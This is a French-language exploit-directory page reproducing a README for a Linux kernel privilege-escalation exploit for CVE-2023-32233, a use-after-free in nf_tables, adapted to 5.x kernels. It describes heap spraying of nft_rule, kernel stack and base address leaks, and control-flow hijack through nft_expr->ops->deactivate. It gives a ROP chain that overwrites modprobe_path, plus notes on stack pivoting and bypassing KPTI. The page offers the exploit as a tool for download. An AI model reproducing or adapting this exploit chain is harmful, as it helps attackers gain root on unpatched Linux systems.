Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-32233 | Kitploit
Outils/GitHubGitHub/void0red/cve-2023-32233
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationShellcodeDéveloppement de Charges UtilesExploitation de Binaires
GitHubvoid0red/cve-2023-32233

CVE-2023-32233

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-32233 5.x内核适配

Exploits existants

  1. https://github.com/Liuk3r/CVE-2023-32233/tree/main
  2. https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2023-32233_mitigation

Raison

Étant donné que les noyaux de version antérieure (<5.16) ne disposent pas du correctif, il est impossible d'utiliser le champ consumed de la structure nft_quota pour lire/écrire à des adresses mémoire arbitraires ; une élévation de privilèges par ROP est donc envisagée. L'exploit de Google déclenche l'UAF via NFT_MSG_DELRULE+NFT_MSG_DELSET, mais lors des tests réels, ce script crash directement dans nf_table_commit->list_del_rcu.

Méthode

Cet exploit a été testé sur la version v5.15.110.

En combinant les deux exploits, on arrose la structure nft_rule, on fuite l'adresse de la pile noyau via list_head, on fuite l'adresse du noyau via nft_expr->ops, et on détourne le flux de contrôle via nft_expr->ops->deactivate.

root@kitploit:~
struct nft_rule {
	struct list_head		list;
	u64				handle:42,
					genmask:2,
					dlen:12,
					udata:1;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(struct nft_expr))));
};

struct nft_expr {
	const struct nft_expr_ops	*ops;
	unsigned char			data[]
		__attribute__((aligned(__alignof__(u64))));
};


static void nft_rule_expr_deactivate(const struct nft_ctx *ctx,
				     struct nft_rule *rule,
				     enum nft_trans_phase phase)
{
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {
		if (expr->ops->deactivate)
			expr->ops->deactivate(ctx, expr, phase);        // [7]

		expr = nft_expr_next(expr);
	}
}

Pour faciliter l'élévation de privilèges, on réutilise directement la méthode basée sur modprobe_path de l'exploit 1 ; le ROP construit est le suivant.

root@kitploit:~
// /sbin/modpath -> //tmp/modpath
void make_payload_rop(uint64_t* data) {
    data[0] = kbase + POP_5REG_RET; // skip metadata
    data[5] = kbase + PUSH_RAX_POP_RSP; // expr->ops->deactivate
    // /tmp/mod -  sbin/mod
    // 0x646f6d2f706d742f - 0x646f6d2f6e696273 = 0x20411bc
    data[6] = kbase + POP_RAX_RET;
    data[7] = kbase + cfg_modprobe_path+1; // [rax]
    data[8] = kbase + POP_RDI_RET;
    data[9] = 0x20411bc; // rdi
    data[10] = kbase + ADD_RAX_0_EDI; // add [rax], edi
}

Tout d'abord, le noyau exécute data[5] ; l'adresse du début du bloc est stockée dans rax (&data[0]). La migration de pile est effectuée via push rax; pop rsp; ret;, ce qui endommage inévitablement la pile (il n'est ensuite plus possible de revenir normalement en espace utilisateur ; pour une élévation de privilèges en espace utilisateur, on peut construire un bloc plus grand (>0x80) en référence à make_payload_rop2 de l'exploit, et utiliser swapgs_restore_regs_and_return_to_usermode pour contourner kpti et retourner en espace utilisateur). Puisque la nft_rule forgée comporte 0x18 octets de métadonnées (principalement les 8 octets à l'offset 0x10), il faut utiliser pop pour sauter ces adresses ; ensuite, on peut faire ce qu'on veut, il suffit d'utiliser quelques gadgets courts pour modifier modprobe_path.

Télécharger l’outil